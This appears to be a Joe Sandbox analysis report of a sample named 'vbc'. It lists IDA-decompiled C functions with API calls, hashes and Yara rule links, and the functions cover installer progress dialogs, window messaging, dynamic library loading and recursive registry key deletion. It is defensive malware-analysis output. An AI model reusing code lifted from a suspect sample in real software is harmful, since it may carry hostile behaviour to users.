Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 6af7de6fb12d37621311d767828a5214a6e37c73fc4d498048a22c56ae339c00
Instruction ID: 451019a1d205659c79ebfdec41688bb46c1145c2f0803241f2332644a3b6c24c
Opcode Fuzzy Hash: 6af7de6fb12d37621311d767828a5214a6e37c73fc4d498048a22c56ae339c00
Instruction Fuzzy Hash: 12217C71A00118BBCB119FA5DD809DFBFB9FB44354F00807AF904A6290C7394E45CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004046F2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004046F2(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404700
0x0040470d
0x00404713
0x00404751
0x00404751
0x00404760
0x00404767
0x00000000
0x00404769
0x00404715
0x00404724
0x0040472c
0x0040472f
0x00404741
0x00404747
0x0040474e
0x00000000
0x0040474e
0x00000000

APIs

SendMessageA.USER32 ref: 0040470D
GetMessagePos.USER32 ref: 00404715
ScreenToClient.USER32(?,?), ref: 0040472F
SendMessageA.USER32 ref: 00404741
SendMessageA.USER32 ref: 00404767

Strings

f, xrefs: 00404743

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 77fe7446b7d437ffed3a300e181f1a5f8136abba45dafe536ab26234a61f9ca7
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 74014071D00219BADB01DBA4DD45BFEBBB8AB55711F10012ABA10B71C0D7B4A5018B95

Uniqueness

Uniqueness Score: -1.00%

Function 00402B2D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B2D(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				void* _t11;
				CHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402BA9();
					_t19 = "unpacking data: %d%%";
					if( *0x423eb0 == 0) {
						_t19 = "verifying installer: %d%%";
					}
					wsprintfA( &_v68, _t19, _t11);
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b3a
0x00402b48
0x00402b4e
0x00402b4e
0x00402b5c
0x00402b5e
0x00402b6a
0x00402b6f
0x00402b71
0x00402b71
0x00402b7c
0x00402b8c
0x00402b9e
0x00402b9e
0x00402ba6

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B48
wsprintfA.USER32 ref: 00402B7C
SetWindowTextA.USER32(?,?), ref: 00402B8C
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402B9E

Strings

unpacking data: %d%%, xrefs: 00402B6A, 00402B7A
verifying installer: %d%%, xrefs: 00402B71

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: e04cdd19e0c63b62eaa7e8eced31868a1262f8adf0a2f46f7645d1242f1aea5d
Instruction ID: 63589245c82b20a35a818b51aea08eb627593e3ecb5db54badb7bc3d6c1792f2
Opcode Fuzzy Hash: e04cdd19e0c63b62eaa7e8eced31868a1262f8adf0a2f46f7645d1242f1aea5d
Instruction Fuzzy Hash: F3F01D70900209ABEF215F50DD0ABAA3779BB04345F00803AFA06A91D1D7B9AA569B99

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00401F51(void* __ebx, void* __eflags) {
				void* _t26;
				struct HINSTANCE__* _t29;
				CHAR* _t31;
				intOrPtr* _t32;
				void* _t33;

				_t26 = __ebx;
				asm("sbb eax, 0x423f58");
				 *(_t33 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L14:
					E00401423();
					L15:
					 *0x423f28 =  *0x423f28 +  *(_t33 - 4);
					return 0;
				}
				_t31 = E004029E8(0xfffffff0);
				 *(_t33 + 8) = E004029E8(1);
				if( *((intOrPtr*)(_t33 - 0x14)) == __ebx) {
					L3:
					_t29 = LoadLibraryExA(_t31, _t26, 8);
					if(_t29 == _t26) {
						_push(0xfffffff6);
						goto L14;
					}
					L4:
					_t32 = GetProcAddress(_t29,  *(_t33 + 8));
					if(_t32 == _t26) {
						E00404E23(0xfffffff7,  *(_t33 + 8));
					} else {
						 *(_t33 - 4) = _t26;
						if( *((intOrPtr*)(_t33 - 0x1c)) == _t26) {
							 *_t32( *((intOrPtr*)(_t33 - 0x34)), 0x400, 0x424000, 0x40af68, " ?B");
						} else {
							E00401423( *((intOrPtr*)(_t33 - 0x1c)));
							if( *_t32() != 0) {
								 *(_t33 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t33 - 0x18)) == _t26) {
						FreeLibrary(_t29);
					}
					goto L15;
				}
				_t29 = GetModuleHandleA(_t31);
				if(_t29 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f51
0x00401f51
0x00401f56
0x00401f5d
0x0040200b
0x00402156
0x00402156
0x0040287d
0x00402880
0x0040288c
0x0040288c
0x00401f6c
0x00401f76
0x00401f79
0x00401f88
0x00401f92
0x00401f96
0x00402004
0x00000000
0x00402004
0x00401f98
0x00401fa2
0x00401fa6
0x00401fea
0x00401fa8
0x00401fab
0x00401fae
0x00401fde
0x00401fb0
0x00401fb3
0x00401fbc
0x00401fbe
0x00401fbe
0x00401fbc
0x00401fae
0x00401ff2
0x00401ff9
0x00401ff9
0x00000000
0x00401ff2
0x00401f82
0x00401f86
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404E23: lstrlenA.KERNEL32(0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000,?), ref: 00404E5C
Part of subcall function 00404E23: lstrlenA.KERNEL32(00402C3C,0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000), ref: 00404E6C
Part of subcall function 00404E23: lstrcatA.KERNEL32(0041FC70,00402C3C,00402C3C,0041FC70,00000000,00000000,00000000), ref: 00404E7F
Part of subcall function 00404E23: SetWindowTextA.USER32(0041FC70,0041FC70), ref: 00404E91
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EB7
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404ED1
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EDF

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00401FF9

Strings

?B, xrefs: 00401FC7

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: ?B
API String ID: 2987980305-117478770
Opcode ID: 0013dd5c42a12ea961cdb4cd00b6dc1aa0902fbba5a2d5df2c5b14f7f9a972ce
Instruction ID: 6286e611532d8822c51d7e946ff34bbadf458e6cc54079b264412ac530ebcb8a
Opcode Fuzzy Hash: 0013dd5c42a12ea961cdb4cd00b6dc1aa0902fbba5a2d5df2c5b14f7f9a972ce
Instruction Fuzzy Hash: 9611E772D04216EBCF107FA4DE89EAE75B0AB44359F20423BF611B62E0C77C8941DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BC5(intOrPtr _a4) {
				char _v68;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t14;

				if(_a4 != 0) {
					_t14 =  *0x417044; // 0x0
					if(_t14 != 0) {
						_t14 = DestroyWindow(_t14);
					}
					 *0x417044 = 0;
					return _t14;
				}
				__eflags =  *0x417044; // 0x0
				if(__eflags != 0) {
					return E00405DDC(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x423eac;
				if(_t6 >  *0x423eac) {
					__eflags =  *0x423ea8; // 0x0
					if(__eflags == 0) {
						_t7 = CreateDialogParamA( *0x423ea0, 0x6f, 0, E00402B2D, 0);
						 *0x417044 = _t7;
						return _t7;
					}
					__eflags =  *0x423f54 & 0x00000001;
					if(( *0x423f54 & 0x00000001) != 0) {
						wsprintfA( &_v68, "... %d%%", E00402BA9());
						return E00404E23(0,  &_v68);
					}
				}
				return _t6;
			}

0x00402bd1
0x00402bd3
0x00402bda
0x00402bdd
0x00402bdd
0x00402be3
0x00000000
0x00402be3
0x00402beb
0x00402bf1
0x00000000
0x00402bf4
0x00402bfb
0x00402c01
0x00402c07
0x00402c09
0x00402c0f
0x00402c4d
0x00402c53
0x00000000
0x00402c53
0x00402c11
0x00402c18
0x00402c29
0x00000000
0x00402c37
0x00402c18
0x00402c5a

APIs

DestroyWindow.USER32 ref: 00402BDD
GetTickCount.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00402DDA), ref: 00402BFB
CreateDialogParamA.USER32(0000006F,00000000,00402B2D,00000000), ref: 00402C4D

Part of subcall function 00402BA9: MulDiv.KERNEL32 ref: 00402BBE

wsprintfA.USER32 ref: 00402C29

Part of subcall function 00404E23: lstrlenA.KERNEL32(0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000,?), ref: 00404E5C
Part of subcall function 00404E23: lstrlenA.KERNEL32(00402C3C,0041FC70,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C3C,00000000), ref: 00404E6C
Part of subcall function 00404E23: lstrcatA.KERNEL32(0041FC70,00402C3C,00402C3C,0041FC70,00000000,00000000,00000000), ref: 00404E7F
Part of subcall function 00404E23: SetWindowTextA.USER32(0041FC70,0041FC70), ref: 00404E91
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EB7
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404ED1
Part of subcall function 00404E23: SendMessageA.USER32 ref: 00404EDF

Strings

... %d%%, xrefs: 00402C23

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Windowlstrlen$CountCreateDestroyDialogParamTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 632923820-2449383134
Opcode ID: 9ac0c74c1306bbd1fe40de56f6429fb106574e4c029b9f6bcf9b72350caeebfb
Instruction ID: 259a824e759da58d6bdbd9050b41674a690fb301749dacda7e517d53f8420425
Opcode Fuzzy Hash: 9ac0c74c1306bbd1fe40de56f6429fb106574e4c029b9f6bcf9b72350caeebfb
Instruction Fuzzy Hash: 29019270909224EBDB216F60EF4C99F7B78AB047017104137F801B12D1C6BCA986C6EE

Uniqueness

Uniqueness Score: -1.00%

Function 00402A28 Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A28(void* _a4, char* _a8, long _a12) {
				void* _v8;
				char _v272;
				signed char _t16;
				long _t18;
				long _t25;
				intOrPtr* _t27;
				long _t28;

				_t16 =  *0x423f50; // 0x0
				_t18 = RegOpenKeyExA(_a4, _a8, 0, _t16 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _a12;
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							__eflags = 1;
							return 1;
						}
						_t25 = E00402A28(_v8,  &_v272, 0);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405DA3(2);
					if(_t27 == 0) {
						__eflags =  *0x423f50; // 0x0
						if(__eflags != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						__eflags = _t28;
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423f50, 0);
				}
				return _t18;
			}

0x00402a38
0x00402a49
0x00402a51
0x00402a79
0x00402a60
0x00402a63
0x00402ab3
0x00402ab9
0x00402abb
0x00000000
0x00402abb
0x00402a70
0x00402a75
0x00402a77
0x00000000
0x00000000
0x00402a77
0x00402a8e
0x00402a96
0x00402a9d
0x00402ac3
0x00402ac9
0x00000000
0x00000000
0x00402ad1
0x00402ad7
0x00402ad9
0x00000000
0x00000000
0x00000000
0x00402ad9
0x00000000
0x00402aac
0x00402ac0

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A49
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A85
RegCloseKey.ADVAPI32(?), ref: 00402A8E
RegCloseKey.ADVAPI32(?), ref: 00402AB3
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AD1

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 188da090bc2c0dda3339140851fe508e253b0801d39640d6a2b0d173e59915d9
Instruction ID: 7ac3799e0b9b7f286de12d9a89f233b53136cfd59643404f79253a10a0ceffad
Opcode Fuzzy Hash: 188da090bc2c0dda3339140851fe508e253b0801d39640d6a2b0d173e59915d9
Instruction Fuzzy Hash: AA115931A00009FEDF21AF90DE48DAB3B79EB44395B104536BA05A01A0DB749E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029E8(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x00402880
0x0040288c

APIs

GetDlgItem.USER32(?), ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CF3
SendMessageA.USER32 ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 93d2110668d3094e167584d1b1b6540c5cd1076fe79007bc13e6d0e6a309afb7
Instruction ID: ad5020e38ef11d08f371025551c7f23f007b957d45941c5b52acf933ea75ddf9
Opcode Fuzzy Hash: 93d2110668d3094e167584d1b1b6540c5cd1076fe79007bc13e6d0e6a309afb7
Instruction Fuzzy Hash: 31F0F9B2A04105BFD700EBA4EE89DAFB7BDEB44341B104476F601F21A0C7789D018B29

Uniqueness

Uniqueness Score: -1.00%

Function 00404610 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404610(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E00405AA7(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E00405AA7(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E00405AA7(_t34, 0, 0x420498, 0x420498, _a8);
				wsprintfA(_t26 + lstrlenA(0x420498), "%u.%u%s%s");
				return SetDlgItemTextA( *0x423678, _a4, 0x420498);
			}

0x00404618
0x0040461c
0x00404624
0x00404627
0x00404628
0x0040462a
0x0040462c
0x0040462f
0x0040462f
0x00404636
0x0040463c
0x0040463c
0x00404643
0x0040464e
0x0040464f
0x00404652
0x00404652
0x0040465f
0x0040466a
0x0040466d
0x0040467f
0x00404686
0x00404687
0x00404696
0x004046a6
0x004046c2

APIs

lstrlenA.KERNEL32(00420498,00420498,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404530,000000DF,0000040F,00000400,00000000), ref: 0040469E
wsprintfA.USER32 ref: 004046A6
SetDlgItemTextA.USER32(?,00420498), ref: 004046B9

Strings

%u.%u%s%s, xrefs: 00404688

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 219ed5be34c024fa703789d7f3e0b0a15268edc71ac5e8557b1e6afa8892d270
Instruction ID: 4c66ffa9968b47036da968d2f23bae361eeba693da1d293f62fa9500f86314f5
Opcode Fuzzy Hash: 219ed5be34c024fa703789d7f3e0b0a15268edc71ac5e8557b1e6afa8892d270
Instruction Fuzzy Hash: 6211E6737001243BDB10A5699C45EAF3299DBC2335F14423BF625F61D1E9798C1186A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029CB(3);
				 *(_t55 + 8) = E004029CB(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029E8(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029E8(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029E8();
					_t28 = E004029E8();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029CB();
					_t37 = E004029CB();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E004059E3();
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402825
0x00402825
0x00402880
0x0040288c

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32 ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 334588288cfdb17ff4757290809a1857d889fbbcabb1089515c2e64beeb01a29
Instruction ID: c520659e647c29be31daea63823ecf32d675036654070bdfdaec67237a792274
Opcode Fuzzy Hash: 334588288cfdb17ff4757290809a1857d889fbbcabb1089515c2e64beeb01a29
Instruction Fuzzy Hash: 902183B1A44104BEDF01AFB5CE5BAAD7A75EF45704F14047AF501B61D1D6B88940D728

Uniqueness

Uniqueness Score: -1.00%

Function 00403897 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403897(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				intOrPtr _t15;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
